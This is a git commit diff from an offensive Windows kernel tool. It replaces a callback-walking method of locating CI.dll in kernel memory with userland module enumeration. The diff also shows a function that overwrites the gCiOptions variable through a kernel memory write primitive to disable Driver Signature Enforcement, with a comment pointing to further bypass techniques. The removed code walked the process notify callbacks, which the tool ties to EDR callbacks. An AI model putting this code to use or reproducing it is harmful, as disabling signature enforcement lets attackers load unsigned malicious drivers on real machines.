CiOptions: Simplifies the way CI.dll base address is recovered

Instead of using the kernel R/W primitive, uses userland API to enumerate
kernel modules
This commit is contained in:
Maxime Meignan
2023-10-09 16:29:19 +02:00
parent 0a817fea93
commit 7590a11389
6 changed files with 42 additions and 31 deletions
+9 -29
View File
@@ -1,8 +1,6 @@
#include "windows.h"
#include "KernelDSE.h"
#include "winternl.h"
#include "stdio.h" // for printf
//#include "ntstatus.h"
#include "KernelCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "PrintFunctions.h"
@@ -10,7 +8,6 @@
#include "KernelUtils.h"
#include "tchar.h"
#define nullptr ((void*)0)
BOOLEAN IsCiEnabled()
{
@@ -18,7 +15,7 @@
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
&CiInfo,
sizeof(CiInfo),
nullptr);
NULL);
if (!NT_SUCCESS(Status))
printf_or_not("[-] Failed to query code integrity status: %08X\n", Status);
@@ -26,34 +23,17 @@
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
}
DWORD64 FindCIBaseAddress(BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
SIZE_T CurrentEDRCallbacksCount = 0;
DWORD64 CiBaseAddress = 0;
DWORD64 driverOffset = 0;
DWORD64 callback = 0;
DWORD64 cbFunction = 0;
TCHAR* driver = NULL;
DWORD64 callback_struct = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
cbFunction = ReadMemoryDWORD64(callback);
driver = FindDriverName(cbFunction, &driverOffset);
if (_tcscmp(driver, L"CI.dll") == 0) {
CiBaseAddress = cbFunction - driverOffset;
if (verbose)
_tprintf_or_not(TEXT("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n"), driver, cbFunction, driverOffset, CiBaseAddress);
return CiBaseAddress;
}
}
}
*/
DWORD64 FindCIBaseAddress() {
DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll"));
return CiBaseAddress;
}
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
/*
* Patches the gCiOptions global variable in CI.dll module to enable/disable DSE
* Warning: this technique does not work with KDP enabled (by default on Win 11).
* TODO: see https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering for ideas of new bypasses
*/
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof
*OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress);
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
WriteMemoryDWORD(CiVariableAddress, CiOptionsValue);